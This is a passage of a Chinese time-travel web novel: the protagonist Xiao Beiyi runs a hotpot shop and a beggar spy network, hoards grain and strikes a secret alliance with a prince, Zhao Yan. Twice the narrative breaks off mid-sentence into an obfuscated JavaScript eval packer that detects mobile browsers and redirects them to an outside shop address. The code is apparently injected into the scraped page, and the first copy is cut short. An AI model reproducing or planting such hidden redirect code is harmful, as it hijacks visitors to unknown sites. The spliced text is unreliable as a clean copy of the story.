萧北翊拱了拱手，没多说。他知道周世昌这话不是客气——一个能从一文钱没有的乞丐，在三个月内赚到二十多两银子的人，确实不一般。但周世昌不知道的是，这二十多两只是明面上的收入。赤羽的消息买卖，已经开始悄悄进账了。 火锅店赚钱的同时，赤羽的消息网络也在悄然扩张。 有了稳定的收入，萧北翊开始给骨干们发工钱——不多，每人每月二两银子，但对一群乞丐来说，这已经是做梦都不敢想的数字。赵大锤拿到钱的第一天，去买了三斤卤肉，一个人蹲在院子里吃得满嘴流油，吃完又跑出去吐了——饿太久了，肠胃受不了这个刺激。 有了钱，人的干劲就不一样了。刘二把城东的消息点从原来的一个扩展到了三个，手下的人从原来的两个增加到了六个。他给每个手下都规定了明确的“管片”——马行街归谁，甜水巷归谁，城东的瓦舍归谁，划分得清清楚楚，跟当年在边军划分防区似的。 孙驼子虽然还是整天叼着旱烟杆，但手下的小乞丐已经遍布城南的每一个角落。他年纪大了，腿脚不利索，但脑子清楚，每天傍晚把各个方向报上来的消息汇总，挑出有用的，让人送到葫芦巷。 阿九更厉害。这姑娘不声不响，却在城西建起了赤羽最有效率的消息网。她不像刘二那样划片区，也不像孙驼子那样广撒网，而是只盯关键人物——孙七爷手下的几个管事、瓦舍的头牌艺人、茶楼的说书先生。盯住这些人，城西的风吹草动就尽在掌握。 而且，她还把手伸进了城中的几个大户人家——不是直接派人进去，而是通过那些在府里当丫鬟、当仆役的旧相识。这些人本来就在府里，不用额外安插，只需偶尔“叙叙旧”，就能带回不少有用的信息。 钱串子虽然是“城中组”的组长，但他的主要精力还是放在记账上。萧北翊让他把赤羽的每一笔收支都记得清清楚楚，而且还教了他一种新的记账方法——复式记账法。 “萧哥，你这脑子是怎么长的？”钱串子看着新账本，啧啧称奇，“这种记账方法，我以前从来没见过。每一笔账都记两次，一次记在‘来源’，一次记在‘去向’，借贷必相等——这谁想出来的？” “一个叫帕乔利的意大利人。”萧北翊随口说。 “意……意大利？那是哪儿？” “很远的地方，在海上，要坐好几个月船才能到。” 钱串子一脸崇拜：“萧哥，你连那么远的地方的事都知道？” 萧北翊笑了笑，没接话。他总不能说“我在一千多年后的一本书上读到的”吧？ 但他很快意识到一个问题——这套复式记账法，在北宋可能太超前了。 超前到什么程度呢？超前到就像一个现代人回到古代，掏出智能手机刷二维码。普通人看了觉得新鲜，但懂行的人看了，就会多想——这个乞丐从哪学来的？他背后是谁？ 萧北翊决定把账本藏起来，不放在店里。不是因为不信任谁，而是因为——在东京城这种地方，一个人太“特殊”了，不是好事。 南北火锅开业一个半月后的一天傍晚，店里来了一个不寻常的客人。 说不寻常，不是因为他长得奇怪，而是因为——萧北翊注意到他，不是他自己发现的，是阿九提醒的。 “萧哥，”阿九走到后厨，压低声音，“靠窗那个位置，坐了一个人。穿月白色直裰，三十来岁，气度不凡。他已经坐了半个时辰了，只点了一壶茶，什么都没吃。” 萧北翊从后厨的帘子缝里往外看了一眼。 靠窗的位置上，坐着一个男人。月白色的直裰质地上乘，但款式普通，不扎眼。腰间系着一条墨绿色的丝绦，上面没挂玉佩，低调得像是故意不让人注意。面容清瘦，眉目间有一股英气，但眼神很温和，嘴角甚至还带着一丝若有若无的笑意，看起来像是个来尝鲜的普通食客。 但萧北翊注意到一个细节——他的手。 那双手白净修长，指甲修剪得整整齐齐，不是干活的手，也不是拿笔的手。那种手，萧北翊只在一种人身上见过——从小习武、但又不靠武力吃饭的人。弓马娴熟的宗室子弟，手上就是这种劲儿。 “别盯着他看。”萧北翊对阿九说，“正常招呼，不要特殊对待。” 阿九点头，端着茶壶出去了。 萧北翊回到灶台前，继续调他的底料，但脑子里一直在转。 这人是谁？为什么来他的店？是冲着火锅来的，还是冲着赤羽来的？如果是冲着火锅来的，为什么只点茶不点菜？如果是冲着赤羽来的——赤羽的存在，应该只有赤羽内部的人知道。 他一边调底料，一边把最近发生的事在脑子里过了一遍。孙七爷的事已经了了，周世昌那边也没什么异常，城西那个朱胖子被辞退后再没出现过——应该不是仇家。 那就是冲着他萧子翼这个人来的。 萧北翊没有急着出去打招呼，也没有让阿九去试探。对方不急，他也不急。在江湖上混，谁先开口，谁就矮一头。 那人坐了一个时辰，中间只点了一盘羊肉，象征性地吃了几口。结账的时候，阿九报了个数，他付了钱，多给了二十文的小费。 “客官慢走。”阿九笑着送他出门。 那人走到门口，忽然停下脚步，回头看了一眼店里的招牌。 “南北火锅。”他念了一遍，嘴角微微上扬，“好名字。” 然后他走了。 萧北翊从后厨出来，看着那人的背影消失在巷口。 “阿九，记住了，这个人明天要是再来，告诉我。” “萧哥，你觉得他是什么人？” “还不确定。”萧北翊说，“但不像是来吃火锅的。” 第二天，那人又来了。 还是靠窗的位置，还是一壶茶，还是一盘羊肉。这次他坐了一个半时辰，中间去了趟茅房——萧北翊注意到，他路过柜台的时候，目光在柜台上那本账册上停留了一瞬。 账册。萧北翊心里咯噔了一下。那本账册用的是复式记账法，虽然只记了火锅店的流水，但记账的方式跟市面上的完全不同。一个懂行的人，一眼就能看出蹊跷。 这人懂行。 第三天，那人又来了。这次他只坐了半个时辰，走的时候，留下了一张纸条。 阿九把纸条拿给萧北翊。纸条上写着一行字： “萧老板的火锅很好，账记得更好。改日再会。” 没有落款。 萧北翊把纸条看了三遍，心里有了数。 这人不是来吃火锅的，也不是来看热闹的。他是来看人的——看萧北翊这个人。账册的事暴露了赤羽不止是一家火锅店。一个有组织的情报网络，需要一个懂管理的人来记账。复式记账法在这个时代是降维打击，懂行的人一眼就能看出这不是普通商贩的手笔。 但他是谁？ 萧北翊把阿九叫过来：“帮我查一个人。三十来岁，穿月白色直裰，经常出入甜水巷一带，气度不凡。不要惊动任何人，暗中打听就行。” 阿九点头去了。 三天后，阿九带回了消息。 “萧哥，那个人查到了。姓赵，单名一个衍字，是宗室子弟，封郡王，住在城中的赵府。” 萧北翊的手指在桌上轻轻敲着。 赵衍。 他在脑子里搜索这个名字。宋史上的赵衍——没有。北宋宗室子弟成千上万，能在史书上留名的没几个。但“衍”这个字，加上宗室子弟的身份，让他想起了一个人。 宋英宗赵曙，原名赵宗实，是宋仁宗的养子。但在赵宗实之前，仁宗还养过另一个宗室子弟——赵允让的儿子，叫什么来着？ 萧北翊的记忆有些模糊。他在现代读宋史的时候，重点读的是制度史和战争史，宗室谱系这种细枝末节，他只是一个大概的印象。赵衍这个名字，正史上没有，但野史上似乎提过——某个不得志的宗室子弟，在仁宗朝前期有过一些活动，但后来就没了记载，可能是早逝，也可能是被贬。 一个在正史上没有留下痕迹的郡王，活得低调，不参与朝堂争斗，但在宗室中颇有声望——这样的人，要么是真的淡泊名利，要么是在暗中积蓄力量。 萧北翊的直觉告诉他，赵衍属于后者。 “还有，”阿九补充道，“最近有人在赵府附近见过南姑娘。” 南晚枫。 萧北翊的眉头皱了起来。南晚枫住在葫芦巷，那是城东偏南的位置，离城中的赵府隔着好几条街。她一个“房东”，去赵府附近做什么？ 除非——她跟赵衍有关系。 萧北翊的脑子飞速运转。南晚枫武功高强，来历神秘，自称“南家”的人，但他从来没在南家见过她以外的任何人。她说她在院子里找东西，找到了那块玉佩就走了，但玉佩到底证明了什么，她从来没说清楚。 她是赵衍的人。至少，跟赵衍有很深的关系。 这个念头一冒出来，很多事就说得通了。南晚枫在葫芦巷“扮鬼”，表面上是找东西，实际上可能是在替赵衍盯着那片区域——或者盯着什么人。她把院子租给萧北翊，也许不是因为她相信他，而是因为赵衍想让他住进去。 萧北翊的后背一阵发凉。他以为自己在下一盘棋，没想到自己可能从一开始就是棋盘上的一颗棋子。 但转念一想，他又笑了。 棋子又怎样？下棋的人，也需要棋子。如果赵衍需要一个能在市井中扎根、能收集消息、能办事的人，那赤羽就是最好的选择。而萧北翊，也需要一个能在朝堂上说得上话的靠山。 各取所需，公平交易。 “萧哥，你没事吧？”阿九看他脸色变来变去。 “没事。”萧北翊深吸一口气，“继续盯着赵府，但小心点。郡王不是孙七爷，被发现了不是闹着玩的。” 接下来的半个月，赵衍没再来。 萧北翊以为这件事过去了，但心里一直悬着。他知道，一个郡王不会无缘无故关注一个乞丐。赵衍一定在等什么——等萧北翊露出更多的底牌，或者等某个时机成熟。 萧北翊决定，在赵衍再次出现之前，先把赤羽的事情做得更扎实。不管赵衍打什么算盘，手里有实力，才有谈判的筹码。 火锅店的生意越来越好。萧北翊又招了三个伙计，都是从乞丐堆里挑出来的机灵鬼。他让赵大锤带他们打锅、切肉、调底料，让钱串子教他们算账、招呼客人。赤羽的消息网络也在暗中扩张，触角从东京城的五个片区，慢慢伸向了周边的城镇——陈留、中牟、尉氏、太康。 萧北翊还做了一件让所有人都看不懂的事——他开始存粮。 不是买来吃的，是买来囤的。他让孙驼子在城南租了一个废弃的仓库，陆陆续续地往里搬粮食。米、面、豆子、干菜，能存得住的一样不落。 “萧哥，你这是要开粮铺？”赵大锤问。 “不是。” “那你囤这么多粮食干啥？” 萧北翊没回答。他总不能说“根据历史记载，大中祥符五年到六年，京东路和京西路会有大范围的饥荒，粮价要涨三倍”吧？ 但他确实记得这个。澶渊之盟后，北宋有过几次严重的自然灾害。大中祥符五年，黄河在滑州决口，淹了十几个县，灾民无数。紧接着第二年，京东路和京西路又是大旱，粮食绝收，粮价飞涨。 这是赤羽的机会。不是发国难财，而是——在别人还没反应过来的时候，提前做好准备。等到饥荒真的来了，赤羽手里有粮，就能做很多事。救人、收买人心、扩大势力，都离不开粮食。 当然，这些话他现在不能说。说了也没人信。一个乞丐，凭什么预测明年要闹饥荒？算命吗？ 所以萧北翊只是说：“有备无患。” 那天傍晚，萧北翊正在店里算账，阿九忽然走过来，在他耳边小声说了一句话。 “萧哥，南姑娘来了。没进店，在对面的茶楼坐着。” 萧北翊抬起头，透过窗户往外看。 对面的茶楼二楼，靠窗的位置上，坐着南晚枫。她穿了一件湖蓝色的褙子，头发梳了起来，露出一截白皙的脖子。她面前摆着一壶茶，但她没在喝——她的目光正看着南北火锅的招牌，或者说，看着招牌下面的店门口。 萧北翊心里一动。她在看什么？看店里进出的客人？还是看——他？ 他没有出去打招呼， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧北翊白了他一眼，擦擦手出去了。 大堂里，一个年轻姑娘正站在柜台前，四处张望。她穿着一件鹅黄色的褙子，头上插着一支银簪，长相甜美，皮肤白净，一看就是那种被家里娇生惯养长大的姑娘。 “这位姑娘，”萧北翊走过去，“您是——” 姑娘转过身来，看见他，眼睛一亮，嘴角漾开两个浅浅的酒窝。 “你就是萧老板？” “对，在下萧子翼。” “我叫沈若兮，”姑娘微微欠了欠身，“是隔壁街‘沈家绣坊’的。我娘说你们这儿的火锅好吃，让我来买一份带回去。” 萧北翊看了一眼她空空的双手：“姑娘没带食盒？” 沈若兮愣了一下，然后不好意思地笑了：“哎呀，我忘了。” “没关系，小店有备用的。”萧北翊转身去后厨，让阿九准备了一份火锅外带，用油纸和竹篮装好，拎出来递给沈若兮。 “二十文。” 沈若兮从袖子里摸出一块碎银子，塞到萧北翊手里：“不用找了，剩下的算赏钱。” 萧北翊看了看手里的银子——至少值五十文。这姑娘出手挺大方。 “多谢姑娘。”萧北翊把银子收了，转身要走。 “萧老板，”沈若兮叫住他，“你晚上忙不忙？” 萧北翊停下脚步：“姑娘有什么事？” “我娘说，想请你去家里吃顿饭，谢谢你上次帮忙的事。” 萧北翊愣了一下：“帮忙？帮什么忙？” 沈若兮歪着头看他：“你不记得了？上个月，有几个地痞去我家的绣坊闹事，是你手下的人帮我们赶走的。我娘一直想当面谢谢你。” 萧北翊想起来了。上个月，赤羽在城西的人确实处理过一起地痞闹事的事，但他不记得跟沈家绣坊有关。大概是下面的人顺手帮的忙，没有专门汇报。 “举手之劳，不足挂齿。”萧北翊说，“吃饭就不必了，姑娘替我谢过令堂。” “萧老板是不赏脸？”沈若兮的语气里带着一丝撒娇的味道，“我娘说了，要是请不来你，她就要亲自来请。你忍心让一个老人家大老远跑一趟？” 萧北翊哭笑不得。这姑娘，嘴皮子倒是利索。 “行，”他说，“改日有空一定去。” “那就说定了！”沈若兮笑眯眯地拎着篮子走了，走到门口还回头看了他一眼。 赵大锤从后厨探出头来：“萧哥，这姑娘不错啊。” “刷你的锅去。” 萧北翊没把这事放在心上。一个绣坊的姑娘，跟他八竿子打不着，客气几句就过去了。但他没想到的是，沈若兮第二天又来了。 这次她带了食盒，买了一份火锅，坐在靠窗的位置上慢慢吃。吃到一半，冲他招招手。 萧北翊走过去：“沈姑娘，菜还合口味？” “好吃。”沈若兮用筷子夹了一片羊肉，在锅里涮了涮，放进嘴里，满足地眯起眼睛，“萧老板，你这个人真厉害。长得好看，做的东西又好吃，还会做生意。你娶亲了没有？” 萧北翊差点被自己的口水呛到。 “没有。” “那有心上人吗？” “沈姑娘，”萧北翊说，“咱们才见第二次面。” “第二次又怎么了？”沈若兮理直气壮，“我娘说了，遇到喜欢的人，就要主动问。问了不一定有机会，不问一定没机会。” 萧北翊看着她，一时不知道该怎么接。这姑娘的思维方式，怎么跟北宋的女子不太一样？北宋的女子不都是含蓄内敛、大门不出二门不迈的吗？这位倒好，直接冲到火锅店里来问人家有没有心上人。 “沈姑娘，”萧北翊斟酌着词句，“你还小，不懂这些。” “我不小了。我十七了。”沈若兮放下筷子，双手托腮，歪着头看他，“萧老板，你是不是觉得我太主动了？我告诉你，我这个人就这样，喜欢就喜欢，不喜欢就不喜欢，不藏着掖着。你要是觉得我烦，我明天就不来了。” 萧北翊看着她那双亮晶晶的眼睛，忽然觉得这姑娘还挺可爱的。不是那种让人心动的可爱，而是那种——像一只不怕生的小猫，明明跟你还不熟，却敢跳上你的膝盖打呼噜。 “不烦。”萧北翊说，“但沈姑娘，我这个人，不太适合谈这些事。” “为什么？” “因为我很忙。”萧北翊说完，转身回了后厨。 沈若兮看着他的背影，嘟了嘟嘴，然后继续吃火锅。吃到一半，忽然笑了。 “忙？忙又不是缺点。” 接下来的几天，沈若兮每天都来。 有时候买外带，有时候在店里吃，有时候什么都不买，就是坐在靠窗的位置上喝一杯茶，看萧北翊忙来忙去。她不像别的姑娘那样缠着不放，也不说什么让人尴尬的话，就是安安静静地待着，偶尔跟阿九聊几句。 萧北翊知道她在干嘛，但他没工夫管这些。赤羽的消息网络在扩张，火锅店的生意要操心，还要暗中囤粮、训练人手、处理大大小小的麻烦事。一个绣坊的小姑娘对他有好感，这件事在他的优先级列表上，排在倒数第一。 但阿九不这么想。 “萧哥，沈姑娘今天又来了。”阿九每天都会汇报。 “嗯。” “她给你带了自己做的桂花糕。” “放柜台上。” “萧哥，你不吃吗？” “一会儿吃。” 阿九叹了口气，觉得自家这位萧哥在感情方面，简直是个木头桩子。 那天傍晚，火锅店打烊后，萧北翊一个人坐在店里算账。 门忽然被推开了。 他以为是赵大锤回来拿东西，头也没抬：“东西在柜台上，自己拿。” 来人没动。 萧北翊抬起头，愣住了。 门口站着的是南晚枫。她今天穿了一件深青色的褙子，头发没梳起来，披散在肩上，月光从门口照进来，映在她身上，像一幅水墨画。 “南姑娘？”萧北翊站起来，“你怎么来了？” 南晚枫走进来，在他对面坐下，看了一眼柜台上的桂花糕。 “沈家绣坊的姑娘送的？” 萧北翊愣了一下：“你怎么知道？” “看见了。”南晚枫的语气很平淡，“她每天都来。” 萧北翊心里咯噔了一下。她“看见了”？她在哪儿看见的？在对面茶楼？在巷口？还是在某个他看不见的角落里？ “南姑娘，”萧北翊斟酌着词句，“你来找我，是为了什么事？” 南晚枫没回答，而是从袖子里摸出一张纸，放在桌上。 “有人让我转交的。” 萧北翊拿起纸，展开。上面只写了四个字： “明日酉时。” 没有落款，没有地址，什么都没有。 萧北翊看着这四个字，心里明白了一半。 “谁让转交的？” 南晚枫站起来，走到门口，停下脚步，头也不回地说了一句：“你见过的人。” 她走了。 萧北翊坐在店里，把那四个字看了又看。 “你见过的人。”他见过的人多了。周世昌、孙七爷、范仲淹、王隐之、赵大锤、刘二、钱串子、孙驼子、阿九……但能让南晚枫转交纸条的，恐怕只有一个。 赵衍。 萧北翊把纸条折好，收进袖子里，站起来关了店门。 走到甜水巷口的时候，他忽然停下脚步，抬头看了看天上的月亮。月亮很圆，很亮，照得整个东京城像镀了一层银。明天酉时，赵府。他不知道赵衍找他做什么，但他知道一件事——从今天起，他的棋局，不再只是甜水巷这一亩三分地了。 7. 第七章 赵府夜话 第二天酉时，萧北翊站在城中的赵府门前。 他换了一身干净衣裳——不是新买的，是从当铺里淘来的旧袍子，洗得发白，但好歹没有补丁。他没带任何人，连刘二都没跟来。不是因为自信，而是因为——如果赵衍想对他不利，带十个人也没用。 赵府的大门不算气派，甚至比不上城东几个富商的宅子。两扇黑漆木门，门口没有石狮子，只蹲着两个上马石。门楣上挂着一块匾，写着“赵府”两个字，字迹端正但不算名家——低调得不像一个郡王的府邸。 萧北翊敲了敲门。过了好一会儿，门才开了一条缝，一个老仆人探出头来，上下打量了他一眼。 “萧子翼？”老仆人的声音沙哑，像是嗓子眼里塞了团棉花。 “正是。” “跟我来。” 老仆人领着他穿过前院、中院，来到了后花园。赵府不大，但布局精致，一草一木都透着主人的用心。后花园里有一处小亭子，亭子里摆着一壶茶、两只杯，赵衍正坐在那里翻一本书。 萧北翊注意到一个细节——亭子周围没有人。没有护卫，没有仆从，连南晚枫都不在。 赵衍抬起头，看见他，合上书放在一旁，微微抬手：“萧公子，请坐。” 萧北翊走进亭子，在赵衍对面坐下。他没有急着开口，而是端起茶壶，给赵衍倒了一杯茶，又给自己倒了一杯。 赵衍看着他倒茶的动作，嘴角微微上扬。 “你不怕我？” “赵官人请我来喝茶，有什么好怕的？” “你怎么知道我是请你来喝茶的？也许是鸿门宴呢？” 萧北翊端起茶杯，喝了一口，不紧不慢地说：“如果是鸿门宴，我进来的时候就该有刀斧手冲出来了。现在还没出来，说明不是。” 赵衍笑了。不是那种客气地笑，而是真的觉得好笑。 “萧子翼，你这个人，说话很有意思。” “赵官人过奖。” “我说的是实话。”赵衍端起茶杯，看着杯中浮沉的茶叶，语气变得随意，“你的火锅店，我去了三次。你知道我是谁吗？” 萧北翊心里咯噔了一下。他知道赵衍的身份，但如果直接说出来，就显得他刻意打听过。一个乞丐，去打听一个郡王的底细，这不是找死吗？ “不知道。”萧北翊说，语气平淡，“只知道赵官人不是一般人。” “哦？怎么看出来不是一般人？” “喝茶的姿势。”萧北翊说，“普通人喝茶，端起就喝，不会看茶叶在杯里怎么转。赵官人每次喝茶前，都会先看一眼茶叶，等茶叶沉下去了再喝。这不是习惯，是修养。有这种修养的人，不是一般人。” 赵衍愣了一下，然后笑得更开了。 “萧子翼，你不仅会说话，还会看人。这一点，比我手下的很多人都强。” 萧北翊没接话。他知道赵衍说这话不是在夸他，而是在试探——试探他的反应。如果他表现出得意，说明他沉不住气；如果他表现得谦虚，说明他有城府。 萧北翊选择了后者。 “赵官人谬赞。小子不过是开了个火锅店，认识的客人多了，看得多了，自然就会了。” 赵衍放下茶杯，目光变得深邃起来。 “萧子翼，我今天请你来，不是聊火锅的。我有几件事想问你。” “赵官人请讲。” “第一，你手下的那些人，是乞丐，还是别的什么？” 萧北翊的心跳加快了一瞬。赵衍这句话问得很直白，但也很危险——他在问赤羽的性质。如果萧北翊承认赤羽是一个情报组织，那就是在告诉赵衍，他有能力收集消息，也有能力做更多的事。但同时，也在暴露自己的底牌。 如果否认，那就是在撒谎。在赵衍这种人面前撒谎，后果比说实话更严重。 萧北翊深吸一口气，决定说实话——但说一半。 “他们以前是乞丐。现在，他们在帮我做事。” “做什么事？” “看店、采购、送货。”萧北翊说，“火锅店的生意忙，一个人忙不过来。” 赵衍看着他的眼睛，似乎在判断这话的真假。 “就这些？” “就这些。” 赵衍沉默了一会儿，然后笑了。 “萧子翼，你这个人，嘴很严。这是好事，也是坏事。好事是，你不会乱说话。坏事是，我想知道的事，你不说，我就得自己去查。我这个人，最讨厌麻烦。” 萧北翊心里一紧，但脸上不动声色。 “赵官人可以派人去查。火锅店的事，一查就清楚。” 赵衍摆了摆手：“算了。你不想说，我不勉强。第二件事——你账册上那种记账方法，是谁教你的？” 萧北翊早就料到他会问这个。复式记账法在这个时代太超前了，任何懂行的人看了都会起疑。他准备好了说辞——一个真假参半、让人无法反驳的说辞。 “家父教的。” “令尊是做什么的？” “以前是个商人。”萧北翊说，“走南闯北，去过很多地方。这套记账方法，是他从南边一个商人那里学来的。” “南边？广州？泉州？” “大概是吧。”萧北翊含糊地说，“家父去世的时候，我还小，很多事记不清了。” 赵衍没有再追问。他知道萧北翊在隐瞒什么，但他也知道，有些事问一次就够了。问多了，反而显得自己没风度。 “第三件事，”赵衍说，“也是最要紧的一件事——孙七爷的事，你打算怎么收场？” 萧北翊的眼睛微微眯了一下。孙七爷的事，他知道多少？ “孙七爷的事已经了了。”萧北翊说，“他打了我的人，我查了他的底，他请我吃了一顿饭，扯平了。” “扯平了？”赵衍的语气变得意味深长，“你以为孙七爷是那种‘扯平了’就不计较的人？他不动你，不是因为他怕你，是因为有人在背后说了话。” 萧北翊心里一动：“谁？” “我。” 亭子里安静了一瞬。 萧北翊看着赵衍，赵衍看着他。两人的目光在空气中碰撞，谁也没有移开。 “赵官人为什么要帮我？” “不是帮你。”赵衍说，“是帮我自己。孙七爷跟程家有来往，程家是我的对头。你动了孙七爷，程家会以为是我在背后指使的。我不想背这个锅，所以让孙七爷收了手。” 萧北翊沉默了。这个解释，合情合理。但合情合理的东西，往往不是全部的真相。 “多谢赵官人。”萧北翊拱了拱手。 赵衍摆了摆手：“不用谢。我不是在帮你，我是在帮我自己。你接下来打算做什么？” 萧北翊想了想，决定再露一点底牌。赵衍已经知道了一些事，如果他什么都不说，反而会让赵衍觉得他不识抬举。 “囤粮。” 赵衍的眉头一挑：“囤粮？做什么？” “大中祥符五年，黄河在滑州决口，淹了十几个县。紧接着第二年，京东路和京西路大旱，粮食绝收。”萧北翊说这些话的时候，语气平静得像在说今天的天气，“如果提前囤一些粮食，到时候不管是卖还是捐，都能派上用场。” 赵衍盯着他看了好一会儿，目光中闪过一丝难以捉摸的东西。 “你怎么知道明年要闹灾？” 萧北翊早就想好了答案：“家父留下的一本书上写的。那本书上记录了过去几十年的天象和气候，推算出了一些规律。” “什么书？” “不知道。那本书后来遗失了。” 赵衍沉默了很久。亭子外面，风吹过竹丛，发出沙沙的声响。 “萧子翼，”赵衍终于开口，声音比之前低了几分，“你这个人，让我很感兴趣。” “小子受宠若惊。” “不是恭维。”赵衍站起来，走到亭子边，背对着萧北翊，看着花园里的竹子，“我赵衍活了三十三年，见过的人不少。有才华的、有胆量的、有野心的，都见过。但你这样的——乞丐出身，却有商人的头脑；没读过书，却知道天象历法；手下养着一群人，却不张扬不惹事——这样的人，东京城找不出第二个。” 萧北翊站起来，走到赵衍身后，没有接话。 “我有一个想法，”赵衍回过头，看着萧北翊，“不知道你愿不愿意。” “赵官人请讲。” “你继续做你的事——开火锅店、囤粮、养人。我不干涉你。但有些时候，我需要一些……消息。一些从市井中来的、从底层来的、那些朝堂上听不到的消息。你，愿不愿意帮我？” 萧北翊的心跳加速了。这正是他想要的机会——一个能接触朝堂、能借势而上、能让赤羽从地下走到地上的机会。 但他不能表现得太过热切。一个太容易答应的人，不会被人珍惜。 “赵官人，”萧北翊说，“小子是个商人。帮您做事，能有什么好处？” 赵衍笑了。这次是真正的、带着欣赏的笑。 “好处？你想要什么好处？” “第一，赤羽的人，在东京城做事，不会被官府找麻烦。” “可以。” “第二，赵官人以后有什么消息要买，给个公道的价钱。” “可以。” “第三，”萧北翊顿了顿，“小子还没想好。等想好了再说。” 赵衍看了他一眼，点了点头。 “行。三件事，我都答应了。”他伸出手，像现代人一样——不，在这个时代，这叫做“击掌为盟”。 萧北翊愣了一下，然后伸出手，与赵衍击了一掌。 两人的手掌拍在一起，发出一声清脆的响声，在安静的亭子里显得格外响亮。 “萧子翼，”赵衍说，“从今天起，你我就是自己人了。” 萧北翊拱了拱手，没说话。他从来不相信“自己人”这种话。在这个世界上，只有利益是永恒的。赵衍需要他的消息网，他需要赵衍的庇护。各取所需，各安其命。这就够了。 萧北翊从赵府出来的时候，天已经完全黑了。 他走在城中的街道上，脑子里还在回放刚才的对话。赵衍这个人，比他预想的要精明，但也比他预想的要大度。一个郡王，能放下身段跟一个乞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650297|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丐谈条件，说明他不是一个拘泥于身份的人。这样的人，要么是真的豁达，要么是心里装着更大的事。 萧北翊觉得，赵衍属于后者。 走到甜水巷口的时候，他忽然停下了脚步。 月光下，一个人影站在巷口的老槐树下，穿着一件深青色的褙子，头发披散着，手里提着一盏小灯笼。 是南晚枫。 “南姑娘？”萧北翊走过去，“这么晚了，你怎么在这儿？” 南晚枫看着他，脸上的表情在灯笼的映照下忽明忽暗。 “赵衍跟你说了什么？” 萧北翊心里一动。南晚枫直呼赵衍的名字，没有加任何尊称，语气也很随意，像是多年的老熟人。这一点，更印证了他的猜测——她是赵衍的人，而且不是一般的属下。 “没说什么，”萧北翊说，“就聊了几句家常。” 南晚枫盯着他看了好一会儿，然后嘴角微微上扬——不是笑，是那种“你觉得我会信吗”的表情。 “萧子翼，你这个人，说谎的时候眼睛会往右上方看。” 萧北翊愣了一下：“你怎么知道？” “因为我见过你说谎。”南晚枫说完，转身往巷子里走去。 萧北翊跟上去：“我什么时候对你说过谎？” “第一次见面的时候。你说你是‘散丐’，不属于谁管。我当时就查过，甜水巷一带根本没有你这号人。” 萧北翊哑口无言。他确实说过这话，但那是为了在孙婆婆面前编身份，不算对南晚枫说谎——不过，严格来说，也不算真话。 “好吧，”萧北翊说，“我承认，有些事我没说实话。但你也没全说实话，对吧？” 南晚枫的脚步顿了一下，但没有回头。 “彼此彼此。” 两人一前一后走进葫芦巷。月光照在青石板路上，明晃晃的，像一条铺满银子的河。 走到院子门口，南晚枫停下脚步，回头看了他一眼。 “萧子翼，赵衍是个好人。但他也是个有野心的人。你跟他合作，是在走钢丝。” “我知道。” “知道就好。”南晚枫推开院门，走了进去。 萧北翊站在门口，看着她的背影消失在院子里。 “南晚枫，”他忽然开口。 院子里的脚步声停了。 “你到底是赵衍的什么人？” 沉默了很久。久到萧北翊以为她不会回答了。 “一个欠他一条命的人。” 然后脚步声重新响起来，越来越远，越来越轻，最后消失在北屋的方向。 萧北翊站在月光下，把这句话在心里翻来覆去地嚼了几遍。 欠赵衍一条命。所以她是赵衍的人，不是因为利益，不是因为情分，而是因为恩情。这样的人，比任何雇佣来的护卫都忠诚，但也比任何人都痛苦——因为她做的每一件事，都不是为自己做的。 萧北翊叹了口气，推开院门，走了进去。 赤羽的路，从今天起，多了一个郡王在背后。这条路，注定不会太平。 当天夜里，萧北翊躺在北屋的床上，怎么都睡不着。 他翻来覆去地想赵衍的话、南晚枫的话、还有自己说的话。每一个字、每一个表情、每一个眼神，都在他的脑子里反复回放。 赵衍说：“你这个人，让我很感兴趣。” 这不是一句好话。一个郡王对一个乞丐“感兴趣”，要么是要用他，要么是要除掉他。萧北翊觉得，赵衍目前是前者，但如果他哪天没用了，就会变成后者。 南晚枫说：“赵衍是个好人，但他也是个有野心的人。” 这句话很有意思。“好人”和“有野心”听起来矛盾，但实际上并不矛盾。一个好人，也可以有野心。一个有野心的人，也可以是个好人。问题是——赵衍的野心，是什么？ 萧北翊闭上眼睛，开始检索他记忆中的宋史。 宋真宗大中祥符年间，朝中皇子寥寥。真宗的儿子大多早夭，活到成年的只有后来的宋仁宗赵祯。但赵祯当时还小，才几岁。朝中除了太子，还有不少宗室子弟，其中一些人有资格、也有能力争夺皇位。 赵衍，会不会是其中之一？ 萧北翊不知道。但他知道一件事——如果赵衍真有那个心思，那他今天来找萧北翊，就不是偶然。一个乞丐手里有一张能覆盖全城的消息网，一个郡王手里有朝堂上的资源和庇护。两者结合，能做的事情就太多了。 萧北翊在黑暗中睁开眼睛，看着头顶的屋梁。 他忽然想起了一个词——下注。 在现代，他是个打工人，从来没赌过。但在北宋，他已经在赌了。从第一天在破庙里醒过来，他就在赌——赌自己能活下去，赌自己能爬起来，赌自己能成为一个人物。 现在，他又赌了一把——跟赵衍合作。 这一注，押得对不对，只有时间能告诉他。 窗外，月亮躲进了云层里，整个东京城笼罩在一片浓得化不开的黑暗中。 萧北翊翻了个身，闭上眼睛。 明天还有很多事要做。今晚，先睡个好觉。 8. 第八章 破庙里的旧相识 萧北翊做了一个梦。 梦里，他不是萧子翼，不是赤羽之主，不是火锅店老板，而是一个瘦骨嶙峋的少年，蹲在一条臭水沟旁边，用手里的破碗舀水喝。 